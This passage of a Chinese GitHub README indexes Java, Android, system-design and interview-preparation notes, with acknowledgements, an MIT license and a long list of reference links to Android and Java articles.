学习与面试](docs/system-design/framework/Spring学习与面试.md)\n- [Spring中bean的作用域与生命周期](docs/system-design/framework/SpringBean.md)\n- [SpringMVC 工作原理详解](docs/system-design/framework/SpringMVC%20%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86%E8%AF%A6%E8%A7%A3.md)\n\n#### ZooKeeper\n\n- [可能是把 ZooKeeper 概念讲的最清楚的一篇文章](docs/system-design/framework/ZooKeeper.md)\n- [ZooKeeper 数据模型和常见命令了解一下，速度收藏！](docs/system-design/framework/ZooKeeper数据模型和常见命令.md)\n\n### 数据通信\n\n- [数据通信(RESTful、RPC、消息队列)相关知识点总结](docs/system-design/data-communication/数据通信(RESTful、RPC、消息队列).md)\n- [Dubbo 总结：关于 Dubbo 的重要知识点](docs/system-design/data-communication/dubbo.md)\n- [消息队列总结：新手也能看懂，消息队列其实很简单](docs/system-design/data-communication/message-queue.md)\n- [一文搞懂 RabbitMQ 的重要概念以及安装](docs/system-design/data-communication/rabbitmq.md)\n\n### 网站架构\n\n- [一文读懂分布式应该学什么](docs/system-design/website-architecture/分布式.md)\n- [8 张图读懂大型网站技术架构](docs/system-design/website-architecture/8%20张图读懂大型网站技术架构.md)\n- [【面试精选】关于大型网站系统架构你不得不懂的10个问题](docs/system-design/website-architecture/【面试精选】关于大型网站系统架构你不得不懂的10个问题.md)\n\n### 攻击技术\n- [攻击技术](docs/notes/攻击技术.md)\n\n## 面试指南\n\n### 备战面试\n\n* [【备战面试1】程序员的简历就该这样写](docs/essential-content-for-interview/PreparingForInterview/程序员的简历之道.md)\n* [【备战面试2】初出茅庐的程序员该如何准备面试？](docs/essential-content-for-interview/PreparingForInterview/interviewPrepare.md)\n* [【备战面试3】7个大部分程序员在面试前很关心的问题](docs/essential-content-for-interview/PreparingForInterview/JavaProgrammerNeedKnow.md)\n* [【备战面试4】Github上开源的Java面试/学习相关的仓库推荐](docs/essential-content-for-interview/PreparingForInterview/JavaInterviewLibrary.md)\n* [【备战面试5】如果面试官问你“你有什么问题问我吗？”时，你该如何回答](docs/essential-content-for-interview/PreparingForInterview/如果面试官问你“你有什么问题问我吗？”时，你该如何回答.md)\n* [【备战面试6】美团面试常见问题总结（附详解答案）](docs/essential-content-for-interview/PreparingForInterview/美团面试常见问题总结.md)\n\n### 常见面试题总结\n\n* [第一周（2018-8-7）](docs/essential-content-for-interview/MostCommonJavaInterviewQuestions/第一周（2018-8-7）.md) (为什么 Java 中只有值传递、==与equals、 hashCode与equals)\n* [第二周（2018-8-13）](docs/essential-content-for-interview/MostCommonJavaInterviewQuestions/第二周(2018-8-13).md)(String和StringBuffer、StringBuilder的区别是什么？String为什么是不可变的？、什么是反射机制？反射机制的应用场景有哪些？......)\n* [第三周（2018-08-22）](docs/java/这几道Java集合框架面试题几乎必问.md) （Arraylist 与 LinkedList 异同、ArrayList 与 Vector 区别、HashMap的底层实现、HashMap 和 Hashtable 的区别、HashMap 的长度为什么是2的幂次方、HashSet 和 HashMap 区别、ConcurrentHashMap 和 Hashtable 的区别、ConcurrentHashMap线程安全的具体实现方式/底层具体实现、集合框架底层数据结构总结）\n* [第四周(2018-8-30).md](docs/essential-content-for-interview/MostCommonJavaInterviewQuestions/第四周(2018-8-30).md) （主要内容是几道面试常问的多线程基础题。）\n\n### 面经\n\n- [5面阿里,终获offer(2018年秋招)](docs/essential-content-for-interview/BATJrealInterviewExperience/5面阿里,终获offer.md)\n\n### Android面试专场\n- [Android面试专场](docs/android/Android-Interview/README.md)\n\n## 工具\n\n### Git\n\n* [Git入门](docs/tools/Git.md)\n\n### Docker\n\n* [Docker 入门](docs/tools/Docker.md)\n* [一文搞懂 Docker 镜像的常用操作！](docs/tools/Docker-Image.md)\n\n### 构建工具\n* [构建工具](docs/notes/构建工具.md)\n\n### 正则表达式\n* [正则表达式](docs/notes/正则表达式.md)\n\n## 致谢\n本文并非原创，通过各位博主综合而得，以便供自己方便学习，在此感谢各位前辈，并在下面注明出处\n- [Snailclimb/JavaGuide](https://github.com/Snailclimb/JavaGuide)\n- [UCodeUStory/DataStructure](https://github.com/UCodeUStory/DataStructure)\n- [JackChan1999/Android-Interview](https://github.com/JackChan1999/Android-Interview)\n- [linsir6/AndroidNote](https://github.com/linsir6/AndroidNote)\n- [CharonChui/AndroidNote](https://github.com/CharonChui/AndroidNote)\n- [CS-Notes](https://github.com/CyC2018/CS-Notes)\n\n<a href=\"https://github.com/Snailclimb/JavaGuide\" >\n​    <img src=\"https://avatars0.githubusercontent.com/u/29880145?s=400&v=4\" width=\"50px\">\n</a> \n<a href=\"https://github.com/UCodeUStory/DataStructure\">\n​    <img src=\"https://avatars3.githubusercontent.com/u/17451281?s=400&v=4\" width=\"50px\">\n</a>\n<a href=\"https://github.com/JackChan1999/Android-Interview\">\n​    <img src=\"https://avatars0.githubusercontent.com/u/16631168?s=400&v=4\" width=\"50px\">\n</a>\n<a href=\"https://github.com/linsir6/AndroidNote\">\n​    <img src=\"https://avatars2.githubusercontent.com/u/16979367?s=400&v=4\" width=\"50px\">\n</a>\n<a href=\"https://github.com/CharonChui/AndroidNote\">\n​    <img src=\"https://avatars0.githubusercontent.com/u/6140231?s=400&v=4\" width=\"50px\">\n</a>\n<a href=\"https://github.com/CyC2018/CS-Notes\">\n​    <img src=\"https://avatars0.githubusercontent.com/u/36260787?s=400&v=4\" width=\"50px\">\n</a>\n\nLicense\n===\n\n    MIT License\n    \n    Copyright (c) 2019 pengMaster\n    \n    Permission is hereby granted, free of charge, to any person obtaining a copy\n    of this software and associated documentation files (the \"Software\"), to deal\n    in the Software without restriction, including without limitation the rights\n    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n    copies of the Software, and to permit persons to whom the Software is\n    furnished to do so, subject to the following conditions:\n    \n    The above copyright notice and this permission notice shall be included in all\n    copies or substantial portions of the Software.\n    \n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n    SOFTWARE.\n\n\n[1]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/%E8%87%AA%E5%AE%9A%E4%B9%89View%E8%AF%A6%E8%A7%A3.md        \"自定义View详解\" \n[2]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Activity%E7%95%8C%E9%9D%A2%E7%BB%98%E5%88%B6%E8%BF%87%E7%A8%8B%E8%AF%A6%E8%A7%A3.md  \"Activity界面绘制过程详解\" \n[3]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Activity%E5%90%AF%E5%8A%A8%E8%BF%87%E7%A8%8B.md    \"Activity启动过程\"\n[4]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Android%20Touch%E4%BA%8B%E4%BB%B6%E5%88%86%E5%8F%91%E8%AF%A6%E8%A7%A3.md    \"Android Touch事件分发详解\"\n[5]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/AsyncTask%E8%AF%A6%E8%A7%A3.md   \"AsyncTask详解\"\n[6]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/butterknife%E6%BA%90%E7%A0%81%E8%AF%A6%E8%A7%A3.md   \"butterknife源码详解\"\n[7]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/InstantRun%E8%AF%A6%E8%A7%A3.md   \"InstantRun详解\"\n[8]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/ListView源码分析.md   \"ListView源码分析\"\n[9]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/VideoView%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90.md   \"VideoView源码分析\"\n[10]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/View%E7%BB%98%E5%88%B6%E8%BF%87%E7%A8%8B%E8%AF%A6%E8%A7%A3.md   \"View绘制过程详解\"\n[11]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//SourceAnalysis/Netowork   \"网络部分\"\n[12]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Netowork/HttpURLConnection%E8%AF%A6%E8%A7%A3.md   \"HttpURLConnection详解\"\n[13]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Netowork/HttpURLConnection%E4%B8%8EHttpClient.md   \"HttpURLConnection与HttpClient\"\n[14]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Netowork/volley-retrofit-okhttp%E4%B9%8B%E6%88%91%E4%BB%AC%E8%AF%A5%E5%A6%82%E4%BD%95%E9%80%89%E6%8B%A9%E7%BD%91%E8%B7%AF%E6%A1%86%E6%9E%B6.md   \"volley-retrofit-okhttp之我们该如何选择网路框架\"\n[15]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Netowork/Volley%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90.md   \"Volley源码分析\"\n[16]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Netowork/Retrofit%E8%AF%A6%E8%A7%A3(%E4%B8%8A).md   \"Retrofit详解(上)\"\n[17]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/SourceAnalysis/Netowork/Retrofit%E8%AF%A6%E8%A7%A3(%E4%B8%8B).md   \"Retrofit详解(下)\"\n[18]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/VideoDevelopment/%E6%90%AD%E5%BB%BAnginx%2Brtmp%E6%9C%8D%E5%8A%A1%E5%99%A8.md   \"搭建nginx+rtmp服务器\"\n[19]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/VideoDevelopment/%E8%A7%86%E9%A2%91%E6%92%AD%E6%94%BE%E7%9B%B8%E5%85%B3%E5%86%85%E5%AE%B9%E6%80%BB%E7%BB%93.md   \"视频播放相关内容总结\"\n[20]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/VideoDevelopment/%E8%A7%86%E9%A2%91%E8%A7%A3%E7%A0%81%E4%B9%8B%E8%BD%AF%E8%A7%A3%E4%B8%8E%E7%A1%AC%E8%A7%A3.md   \"视频解码之软解与硬解\"\n[21]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/VideoDevelopment/%E9%9F%B3%E8%A7%86%E9%A2%91%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86.md   \"音视频基础知识\"\n[22]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/VideoDevelopment/Android%20WebRTC%E7%AE%80%E4%BB%8B.md   \"Android WebRTC简介\"\n[23]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/VideoDevelopment/Android%E9%9F%B3%E8%A7%86%E9%A2%91%E5%BC%80%E5%8F%91.md   \"Android音视频开发知识\"\n[24]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/VideoDevelopment/DLNA%E7%AE%80%E4%BB%8B.md   \"DLNA简介\"\n[25]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/ImageLoaderLibrary/Glide%E7%AE%80%E4%BB%8B(%E4%B8%8A).md   \"Glide简介(上)\"\n[26]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/ImageLoaderLibrary/Glide%E7%AE%80%E4%BB%8B(%E4%B8%8B).md   \"Glide简介(下)\"\n[27]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/ImageLoaderLibrary/%E5%9B%BE%E7%89%87%E5%8A%A0%E8%BD%BD%E5%BA%93%E6%AF%94%E8%BE%83.md   \"图片加载库比较\"\n[28]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/RxJavaPart/1.RxJava%E8%AF%A6%E8%A7%A3(%E4%B8%80).md   \"RxJava详解(一)\"\n[29]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/RxJavaPart/2.RxJava%E8%AF%A6%E8%A7%A3(%E4%BA%8C).md   \"RxJava详解(二)\"\n[30]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/RxJavaPart/3.RxJava%E8%AF%A6%E8%A7%A3(%E4%B8%89).md   \"RxJava详解(三)\"\n[31]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/RxJavaPart/7.RxJava%E7%B3%BB%E5%88%97%E5%85%A8%E5%AE%B6%E6%A1%B6.md   \"RxJava系列全家桶\"\n[32]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Tools%26Library/%E7%9B%AE%E5%89%8D%E6%B5%81%E8%A1%8C%E7%9A%84%E5%BC%80%E5%8F%91%E7%BB%84%E5%90%88.md   \"目前流行的开发组合\"\n[33]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Tools%26Library/%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96%E7%9B%B8%E5%85%B3%E5%B7%A5%E5%85%B7.md   \"性能优化相关工具\"\n[34]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Tools%26Library/Android%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7%E5%8F%8A%E7%B1%BB%E5%BA%93.md   \"Android开发工具及类库\"\n[35]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Tools%26Library/Github%E4%B8%AA%E4%BA%BA%E4%B8%BB%E9%A1%B5%E7%BB%91%E5%AE%9A%E5%9F%9F%E5%90%8D.md   \"Github个人主页绑定域名\"\n[36]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Tools%26Library/Markdown%E5%AD%A6%E4%B9%A0%E6%89%8B%E5%86%8C.md   \"Markdown学习手册\"\n[37]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Tools%26Library/MAT%E5%86%85%E5%AD%98%E5%88%86%E6%9E%90.md   \"MAT内存分析\"\n[38]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E4%B8%80).md   \"Kotlin学习教程(一)(未完)\"\n[39]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Gradle%26Maven/Gradle%E4%B8%93%E9%A2%98.md   \"Gradle专题\"\n[40]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Gradle%26Maven/%E5%8F%91%E5%B8%83library%E5%88%B0Maven%E4%BB%93%E5%BA%93.md   \"发布library到Maven仓库\"\n[41]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AppPublish/Android%E5%BA%94%E7%94%A8%E5%8F%91%E5%B8%83.md   \"Android应用发布\"\n[42]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AppPublish/Zipalign%E4%BC%98%E5%8C%96.md   \"Zipalign优化\"\n[43]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//SourceAnalysis   \"源码解析\"\n[44]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//VideoDevelopment   \"音视频开发\"\n[45]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//ImageLoaderLibrary   \"图片加载\"\n[46]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//RxJavaPart   \"RxJava\"\n[47]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//Tools%26Library   \"开发工具\"\n[48]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//KotlinCourse   \"Kotlin学习\"\n[49]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//Gradle%26Maven   \"Gradle&Maven\"\n[50]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//AppPublish   \"应用发布\"\n[51]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//AndroidStudioCourse   \"Android Studio使用教程\"\n[52]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//AdavancedPart   \"进阶部分\"\n[53]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//JavaKnowledge   \"Java基础及算法\"\n[54]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//BasicKnowledge   \"基础部分\"\n[55]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B(%E7%AC%AC%E4%B8%80%E5%BC%B9).md   \"AndroidStudio使用教程(第一弹)\"\n[56]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B(%E7%AC%AC%E4%BA%8C%E5%BC%B9).md   \"AndroidStudio使用教程(第二弹)\"\n[57]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B(%E7%AC%AC%E4%B8%89%E5%BC%B9).md   \"AndroidStudio使用教程(第三弹)\"\n[58]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B(%E7%AC%AC%E5%9B%9B%E5%BC%B9).md   \"AndroidStudio使用教程(第四弹)\"\n[59]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B(%E7%AC%AC%E4%BA%94%E5%BC%B9).md   \"AndroidStudio使用教程(第五弹)\"\n[60]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B(%E7%AC%AC%E5%85%AD%E5%BC%B9).md   \"AndroidStudio使用教程(第六弹)\"\n[61]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B(%E7%AC%AC%E4%B8%83%E5%BC%B9).md   \"AndroidStudio使用教程(第七弹)\"\n[62]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/Android%20Studio%E4%BD%A0%E5%8F%AF%E8%83%BD%E4%B8%8D%E7%9F%A5%E9%81%93%E7%9A%84%E6%93%8D%E4%BD%9C.md   \"Android Studio你可能不知道的操作\"\n[63]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E6%8F%90%E9%AB%98Build%E9%80%9F%E5%BA%A6.md   \"AndroidStudio提高Build速度\"\n[64]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E4%B8%AD%E8%BF%9B%E8%A1%8Cndk%E5%BC%80%E5%8F%91.md   \"AndroidStudio中进行ndk开发\"\n[65]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/%E5%B8%83%E5%B1%80%E4%BC%98%E5%8C%96.md   \"布局优化\"\n[66]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/%E5%B1%8F%E5%B9%95%E9%80%82%E9%85%8D%E4%B9%8B%E7%99%BE%E5%88%86%E6%AF%94%E6%96%B9%E6%A1%88%E8%AF%A6%E8%A7%A3.md   \"屏幕适配之百分比方案详解\"\n[67]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/%E7%83%AD%E4%BF%AE%E5%A4%8D%E5%AE%9E%E7%8E%B0.md   \"热修复实现\"\n[68]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/%E5%A6%82%E4%BD%95%E8%AE%A9Service%E5%B8%B8%E9%A9%BB%E5%86%85%E5%AD%98.md   \"如何让Service常驻内存\"\n[69]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/%E9%80%9A%E8%BF%87Hardware%20Layer%E6%8F%90%E9%AB%98%E5%8A%A8%E7%94%BB%E6%80%A7%E8%83%BD.md   \"通过Hardware Layer提高动画性能\"\n[70]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96.md   \"性能优化\"\n[71]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/%E6%B3%A8%E8%A7%A3%E4%BD%BF%E7%94%A8.md   \"注解使用\"\n[72]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Android6.0%E6%9D%83%E9%99%90%E7%B3%BB%E7%BB%9F.md   \"Android6.0权限系统\"\n[73]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Android%E5%BC%80%E5%8F%91%E4%B8%8D%E7%94%B3%E8%AF%B7%E6%9D%83%E9%99%90%E6%9D%A5%E4%BD%BF%E7%94%A8%E5%AF%B9%E5%BA%94%E5%8A%9F%E8%83%BD.md   \"Android开发不申请权限来使用对应功能\"\n[74]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Android%E5%BC%80%E5%8F%91%E4%B8%AD%E7%9A%84MVP%E6%A8%A1%E5%BC%8F%E8%AF%A6%E8%A7%A3.md   \"Android开发中的MVP模式详解\"\n[75]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Android%E5%90%AF%E5%8A%A8%E6%A8%A1%E5%BC%8F%E8%AF%A6%E8%A7%A3.md   \"Android启动模式详解\"\n[76]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Android%E5%8D%B8%E8%BD%BD%E5%8F%8D%E9%A6%88.md   \"Android卸载反馈\"\n[77]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/ApplicationId%20vs%20PackageName.md   \"ApplicationId vs PackageName\"\n[78]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/ART%E4%B8%8EDalvik.md   \"ART与Dalvik\"\n[79]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/BroadcastReceiver%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98.md   \"BroadcastReceiver安全问题\"\n[80]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Handler%E5%AF%BC%E8%87%B4%E5%86%85%E5%AD%98%E6%B3%84%E9%9C%B2%E5%88%86%E6%9E%90.md   \"Handler导致内存泄露分析\"\n[81]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Library%E9%A1%B9%E7%9B%AE%E4%B8%AD%E8%B5%84%E6%BA%90id%E4%BD%BF%E7%94%A8case%E6%97%B6%E6%8A%A5%E9%94%99.md   \"Library项目中资源id使用case时报错\"\n[82]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Mac%E4%B8%8B%E9%85%8D%E7%BD%AEadb%E5%8F%8AAndroid%E5%91%BD%E4%BB%A4.md   \"Mac下配置adb及Android命令\"\n[83]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/MaterialDesign%E4%BD%BF%E7%94%A8.md   \"MaterialDesign使用\"\n[84]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/RecyclerView%E4%B8%93%E9%A2%98.md   \"RecyclerView专题\"\n[85]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%A4%A7%E5%85%A8.md   \"常用命令行大全\"\n[86]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E5%8D%95%E4%BE%8B%E7%9A%84%E6%9C%80%E4%BD%B3%E5%AE%9E%E7%8E%B0%E6%96%B9%E5%BC%8F.md   \"单例的最佳实现方式\"\n[87]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84.md   \"数据结构\"\n[88]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E8%8E%B7%E5%8F%96%E4%BB%8A%E5%90%8E%E5%A4%9A%E5%B0%91%E5%A4%A9%E5%90%8E%E7%9A%84%E6%97%A5%E6%9C%9F.md   \"获取今后多少天后的日期\"\n[89]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E5%89%91%E6%8C%87Offer(%E4%B8%8A).md   \"剑指Offer(上)\"\n[90]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/剑指Offer(下).md   \"剑指Offer(下)\"\n[91]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E5%BC%BA%E5%BC%95%E7%94%A8%E3%80%81%E8%BD%AF%E5%BC%95%E7%94%A8%E3%80%81%E5%BC%B1%E5%BC%95%E7%94%A8%E3%80%81%E8%99%9A%E5%BC%95%E7%94%A8.md   \"强引用、软引用、弱引用、虚引用\"\n[92]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E7%94%9F%E4%BA%A7%E8%80%85%E6%B6%88%E8%B4%B9%E8%80%85.md   \"生产者消费者\"\n[93]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E6%95%B0%E6%8D%AE%E5%8A%A0%E5%AF%86%E5%8F%8A%E8%A7%A3%E5%AF%86.md   \"数据加密及解密\"\n[94]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E6%AD%BB%E9%94%81.md   \"死锁\"\n[95]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E5%B8%B8%E8%A7%81%E7%AE%97%E6%B3%95.md   \"算法\"\n[96]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E7%9B%B8%E5%85%B3%E5%86%85%E5%AE%B9%E6%80%BB%E7%BB%93.md   \"网络请求相关内容总结\"\n[97]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E7%BA%BF%E7%A8%8B%E6%B1%A0%E7%9A%84%E5%8E%9F%E7%90%86.md   \"线程池的原理\"\n[98]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E5%8E%9F%E5%AD%90%E6%80%A7%E3%80%81%E5%8F%AF%E8%A7%81%E6%80%A7%E4%BB%A5%E5%8F%8A%E6%9C%89%E5%BA%8F%E6%80%A7.md   \"原子性、可见性以及有序性\"\n[99]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/Base64%E5%8A%A0%E5%AF%86.md   \"Base64加密\"\n[100]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/Git%E7%AE%80%E4%BB%8B.md   \"Git简介\"\n[101]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/hashCode%E4%B8%8Eequals.md   \"hashCode与equals\"\n[102]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/HashMap%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90.md   \"HashMap实现原理分析\"\n[103]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/Java%E5%9F%BA%E7%A1%80%E9%9D%A2%E8%AF%95%E9%A2%98.md   \"Java基础面试题\"\n[104]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6.md   \"JVM垃圾回收机制\"\n[105]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/MD5%E5%8A%A0%E5%AF%86.md   \"MD5加密\"\n[106]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/MVC%E4%B8%8EMVP%E5%8F%8AMVVM.md   \"MVC与MVP及MVVM\"\n[107]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/RMB%E5%A4%A7%E5%B0%8F%E5%86%99%E8%BD%AC%E6%8D%A2.md   \"RMB大小写转换\"\n[108]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/Vim%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B.md   \"Vim使用教程\"\n[109]: 